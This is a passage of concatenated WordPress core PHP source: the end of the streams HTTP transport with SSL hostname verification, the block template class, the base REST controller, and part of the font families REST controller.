					'code'    => false,
					'message' => false,
				),
				'cookies'  => array(),
			);
		}

		$response     = '';
		$body_started = false;
		$keep_reading = true;
		$block_size   = 4096;

		if ( isset( $parsed_args['limit_response_size'] ) ) {
			$block_size = min( $block_size, $parsed_args['limit_response_size'] );
		}

		// If streaming to a file setup the file handle.
		if ( $parsed_args['stream'] ) {
			if ( ! WP_DEBUG ) {
				$stream_handle = @fopen( $parsed_args['filename'], 'w+' );
			} else {
				$stream_handle = fopen( $parsed_args['filename'], 'w+' );
			}

			if ( ! $stream_handle ) {
				return new WP_Error(
					'http_request_failed',
					sprintf(
						/* translators: 1: fopen(), 2: File name. */
						__( 'Could not open handle for %1$s to %2$s.' ),
						'fopen()',
						$parsed_args['filename']
					)
				);
			}

			$bytes_written = 0;

			while ( ! feof( $handle ) && $keep_reading ) {
				$block = fread( $handle, $block_size );
				if ( ! $body_started ) {
					$response .= $block;
					if ( strpos( $response, "\r\n\r\n" ) ) {
						$processed_response = WP_Http::processResponse( $response );
						$body_started       = true;
						$block              = $processed_response['body'];
						unset( $response );
						$processed_response['body'] = '';
					}
				}

				$this_block_size = strlen( $block );

				if ( isset( $parsed_args['limit_response_size'] )
					&& ( $bytes_written + $this_block_size ) > $parsed_args['limit_response_size']
				) {
					$this_block_size = ( $parsed_args['limit_response_size'] - $bytes_written );
					$block           = substr( $block, 0, $this_block_size );
				}

				$bytes_written_to_file = fwrite( $stream_handle, $block );

				if ( $bytes_written_to_file !== $this_block_size ) {
					fclose( $handle );
					fclose( $stream_handle );
					return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
				}

				$bytes_written += $bytes_written_to_file;

				$keep_reading = (
					! isset( $parsed_args['limit_response_size'] )
					|| $bytes_written < $parsed_args['limit_response_size']
				);
			}

			fclose( $stream_handle );

		} else {
			$header_length = 0;

			while ( ! feof( $handle ) && $keep_reading ) {
				$block     = fread( $handle, $block_size );
				$response .= $block;

				if ( ! $body_started && strpos( $response, "\r\n\r\n" ) ) {
					$header_length = strpos( $response, "\r\n\r\n" ) + 4;
					$body_started  = true;
				}

				$keep_reading = (
					! $body_started
					|| ! isset( $parsed_args['limit_response_size'] )
					|| strlen( $response ) < ( $header_length + $parsed_args['limit_response_size'] )
				);
			}

			$processed_response = WP_Http::processResponse( $response );
			unset( $response );

		}

		fclose( $handle );

		$processed_headers = WP_Http::processHeaders( $processed_response['headers'], $url );

		$response = array(
			'headers'  => $processed_headers['headers'],
			// Not yet processed.
			'body'     => null,
			'response' => $processed_headers['response'],
			'cookies'  => $processed_headers['cookies'],
			'filename' => $parsed_args['filename'],
		);

		// Handle redirects.
		$redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response );
		if ( false !== $redirect_response ) {
			return $redirect_response;
		}

		// If the body was chunk encoded, then decode it.
		if ( ! empty( $processed_response['body'] )
			&& isset( $processed_headers['headers']['transfer-encoding'] )
			&& 'chunked' === $processed_headers['headers']['transfer-encoding']
		) {
			$processed_response['body'] = WP_Http::chunkTransferDecode( $processed_response['body'] );
		}

		if ( true === $parsed_args['decompress']
			&& true === WP_Http_Encoding::should_decode( $processed_headers['headers'] )
		) {
			$processed_response['body'] = WP_Http_Encoding::decompress( $processed_response['body'] );
		}

		if ( isset( $parsed_args['limit_response_size'] )
			&& strlen( $processed_response['body'] ) > $parsed_args['limit_response_size']
		) {
			$processed_response['body'] = substr( $processed_response['body'], 0, $parsed_args['limit_response_size'] );
		}

		$response['body'] = $processed_response['body'];

		return $response;
	}

	/**
	 * Verifies the received SSL certificate against its Common Names and subjectAltName fields.
	 *
	 * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if
	 * the certificate is valid for the hostname which was requested.
	 * This function verifies the requested hostname against certificate's subjectAltName field,
	 * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used.
	 *
	 * IP Address support is included if the request is being made to an IP address.
	 *
	 * @since 3.7.0
	 *
	 * @param resource $stream The PHP Stream which the SSL request is being made over
	 * @param string   $host   The hostname being requested
	 * @return bool If the certificate presented in $stream is valid for $host
	 */
	public static function verify_ssl_certificate( $stream, $host ) {
		$context_options = stream_context_get_options( $stream );

		if ( empty( $context_options['ssl']['peer_certificate'] ) ) {
			return false;
		}

		$cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] );
		if ( ! $cert ) {
			return false;
		}

		/*
		 * If the request is being made to an IP address, we'll validate against IP fields
		 * in the cert (if they exist)
		 */
		$host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' );

		$certificate_hostnames = array();
		if ( ! empty( $cert['extensions']['subjectAltName'] ) ) {
			$match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] );
			foreach ( $match_against as $match ) {
				list( $match_type, $match_host ) = explode( ':', $match );
				if ( strtolower( trim( $match_type ) ) === $host_type ) { // IP: or DNS:
					$certificate_hostnames[] = strtolower( trim( $match_host ) );
				}
			}
		} elseif ( ! empty( $cert['subject']['CN'] ) ) {
			// Only use the CN when the certificate includes no subjectAltName extension.
			$certificate_hostnames[] = strtolower( $cert['subject']['CN'] );
		}

		// Exact hostname/IP matches.
		if ( in_array( strtolower( $host ), $certificate_hostnames, true ) ) {
			return true;
		}

		// IP's can't be wildcards, Stop processing.
		if ( 'ip' === $host_type ) {
			return false;
		}

		// Test to see if the domain is at least 2 deep for wildcard support.
		if ( substr_count( $host, '.' ) < 2 ) {
			return false;
		}

		// Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com.
		$wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host );

		return in_array( strtolower( $wildcard_host ), $certificate_hostnames, true );
	}

	/**
	 * Determines whether this class can be used for retrieving a URL.
	 *
	 * @since 2.7.0
	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
	 *
	 * @param array $args Optional. Array of request arguments. Default empty array.
	 * @return bool False means this class can not be used, true means it can.
	 */
	public static function test( $args = array() ) {
		if ( ! function_exists( 'stream_socket_client' ) ) {
			return false;
		}

		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];

		if ( $is_ssl ) {
			if ( ! extension_loaded( 'openssl' ) ) {
				return false;
			}
			if ( ! function_exists( 'openssl_x509_parse' ) ) {
				return false;
			}
		}

		/**
		 * Filters whether streams can be used as a transport for retrieving a URL.
		 *
		 * @since 2.7.0
		 *
		 * @param bool  $use_class Whether the class can be used. Default true.
		 * @param array $args      Request arguments.
		 */
		return apply_filters( 'use_streams_transport', true, $args );
	}
}

/**
 * Deprecated HTTP Transport method which used fsockopen.
 *
 * This class is not used, and is included for backward compatibility only.
 * All code should make use of WP_Http directly through its API.
 *
 * @see WP_HTTP::request
 *
 * @since 2.7.0
 * @deprecated 3.7.0 Please use WP_HTTP::request() directly
 */
class WP_HTTP_Fsockopen extends WP_Http_Streams {
	// For backward compatibility for users who are using the class directly.
}
<?php
/**
 * Blocks API: WP_Block_Template class
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Class representing a block template.
 *
 * @since 5.8.0
 */
#[AllowDynamicProperties]
class WP_Block_Template {

	/**
	 * Type: wp_template.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $type;

	/**
	 * Theme.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $theme;

	/**
	 * Template slug.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $slug;

	/**
	 * ID.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $id;

	/**
	 * Title.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Content.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $content = '';

	/**
	 * Description.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Source of the content. `theme` and `custom` is used for now.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $source = 'theme';

	/**
	 * Origin of the content when the content has been customized.
	 * When customized, origin takes on the value of source and source becomes
	 * 'custom'.
	 *
	 * @since 5.9.0
	 * @var string|null
	 */
	public $origin;

	/**
	 * Post ID.
	 *
	 * @since 5.8.0
	 * @var int|null
	 */
	public $wp_id;

	/**
	 * Template Status.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	public $status;

	/**
	 * Whether a template is, or is based upon, an existing template file.
	 *
	 * @since 5.8.0
	 * @var bool
	 */
	public $has_theme_file;

	/**
	 * Whether a template is a custom template.
	 *
	 * @since 5.9.0
	 *
	 * @var bool
	 */
	public $is_custom = true;

	/**
	 * Author.
	 *
	 * A value of 0 means no author.
	 *
	 * @since 5.9.0
	 * @var int|null
	 */
	public $author;

	/**
	 * Post types.
	 *
	 * @since 5.9.0
	 * @var string[]|null
	 */
	public $post_types;

	/**
	 * Area.
	 *
	 * @since 5.9.0
	 * @var string|null
	 */
	public $area;

	/**
	 * Modified.
	 *
	 * @since 6.3.0
	 * @var string|null
	 */
	public $modified;
}
<?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Cached results of get_item_schema.
	 *
	 * @since 5.3.0
	 * @var array
	 */
	protected $schema;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		_doing_it_wrong(
			'WP_REST_Controller::register_routes',
			/* translators: %s: register_routes() */
			sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ),
			'4.7.0'
		);
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response->get_data();
		$server = rest_get_server();
		$links  = $server::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $response_data Response data to filter.
	 * @param string $context       Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $response_data, $context ) {

		$schema = $this->get_item_schema();

		return rest_filter_response_by_context( $response_data, $schema, $context );
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this->add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as &$property ) {
				unset( $property['arg_options'] );
			}
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'  => $this->get_context_param(),
			'page'     => array(
				'description'       => __( 'Current page of the collection.' ),
				'type'              => 'integer',
				'default'           => 1,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
				'minimum'           => 1,
			),
			'per_page' => array(
				'description'       => __( 'Maximum number of items to be returned in result set.' ),
				'type'              => 'integer',
				'default'           => 10,
				'minimum'           => 1,
				'maximum'           => 100,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
			),
			'search'   => array(
				'description'       => __( 'Limit results to those matching a string.' ),
				'type'              => 'string',
				'sanitize_callback' => 'sanitize_text_field',
				'validate_callback' => 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'       => __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'              => 'string',
			'sanitize_callback' => 'sanitize_key',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$schema = $this->get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $response_data Prepared response array.
	 * @param WP_REST_Request $request       Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $response_data, $request ) {

		$additional_fields = $this->get_additional_fields();

		$requested_fields = $this->get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! rest_is_field_included( $field_name, $requested_fields ) ) {
				continue;
			}

			$response_data[ $field_name ] = call_user_func(
				$field_options['get_callback'],
				$response_data,
				$field_name,
				$request,
				$this->get_object_type()
			);
		}

		return $response_data;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param object          $data_object Data model like WP_Term or WP_Post.
	 * @param WP_REST_Request $request     Full details about the request.
	 * @return true|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $data_object, $request ) {
		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func(
				$field_options['update_callback'],
				$request[ $field_name ],
				$data_object,
				$field_name,
				$request,
				$this->get_object_type()
			);

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this->get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this->get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name => $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @global array $wp_rest_additional_fields Holds registered fields, organized by object type.
	 *
	 * @param string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type
	 *               could not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {
		global $wp_rest_additional_fields;

		if ( ! $object_type ) {
			$object_type = $this->get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this->get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return string[] Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema     = $this->get_item_schema();
		$properties = isset( $schema['properties'] ) ? $schema['properties'] : array();

		$additional_fields = $this->get_additional_fields();

		foreach ( $additional_fields as $field_name => $field_options ) {
			/*
			 * For back-compat, include any field with an empty schema
			 * because it won't be present in $this->get_item_schema().
			 */
			if ( is_null( $field_options['schema'] ) ) {
				$properties[ $field_name ] = $field_options;
			}
		}

		// Exclude fields that specify a different context than the request context.
		$context = $request['context'];
		if ( $context ) {
			foreach ( $properties as $name => $options ) {
				if ( ! empty( $options['context'] ) && ! in_array( $context, $options['context'], true ) ) {
					unset( $properties[ $name ] );
				}
			}
		}

		$fields = array_keys( $properties );

		/*
		 * '_links' and '_embedded' are not typically part of the item schema,
		 * but they can be specified in '_fields', so they are added here as a
		 * convenience for checking with rest_is_field_included().
		 */
		$fields[] = '_links';
		if ( $request->has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		$fields = array_unique( $fields );

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = wp_parse_list( $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		// Return the list of all requested fields which appear in the schema.
		return array_reduce(
			$requested_fields,
			static function ( $response_fields, $field ) use ( $fields ) {
				if ( in_array( $field, $fields, true ) ) {
					$response_fields[] = $field;
					return $response_fields;
				}
				// Check for nested fields if $field is not a direct match.
				$nested_fields = explode( '.', $field );
				/*
				 * A nested field is included so long as its top-level property
				 * is present in the schema.
				 */
				if ( in_array( $nested_fields[0], $fields, true ) ) {
					$response_fields[] = $field;
				}
				return $response_fields;
			},
			array()
		);
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		return rest_get_endpoint_args_for_schema( $this->get_item_schema(), $method );
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * @since 4.7.0
	 *
	 * @internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
<?php
/**
 * REST API: WP_REST_Font_Families_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Font Families Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Families_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 2;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Checks if a given request has access to font families.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font families.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font family.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font family settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_font_family_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: Parameter name: "font_family_settings". */
				sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ),
				array( 'status' => 400 )
			);
		}

		$schema   = $this->get_item_schema()['properties']['font_family_settings'];
		$required = $schema['required'];

		if ( isset( $request['id'] ) ) {
			// Allow sending individual properties if we are updating an existing font family.
			unset( $schema['required'] );

			// But don't allow updating the slug, since it is used as a unique identifier.
			if ( isset( $settings['slug'] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of parameter being updated: font_family_settings[slug]". */
					sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that the font face settings match the theme.json schema.
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */
					sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font family settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font family settings.
	 * @return array Decoded array of font family settings.
	 */
	public function sanitize_font_family_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_family_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Creates a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$settings = $request->get_param( 'font_family_settings' );

		// Check that the font family slug is unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'name'                   => $settings['slug'],
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_family',
				/* translators: %s: Font family slug. */
				sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ),
				array( 'status' => 400 )
			);
		}

		return parent::create_item( $request );
	}

	/**
	 * Deletes a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font families.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font family output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
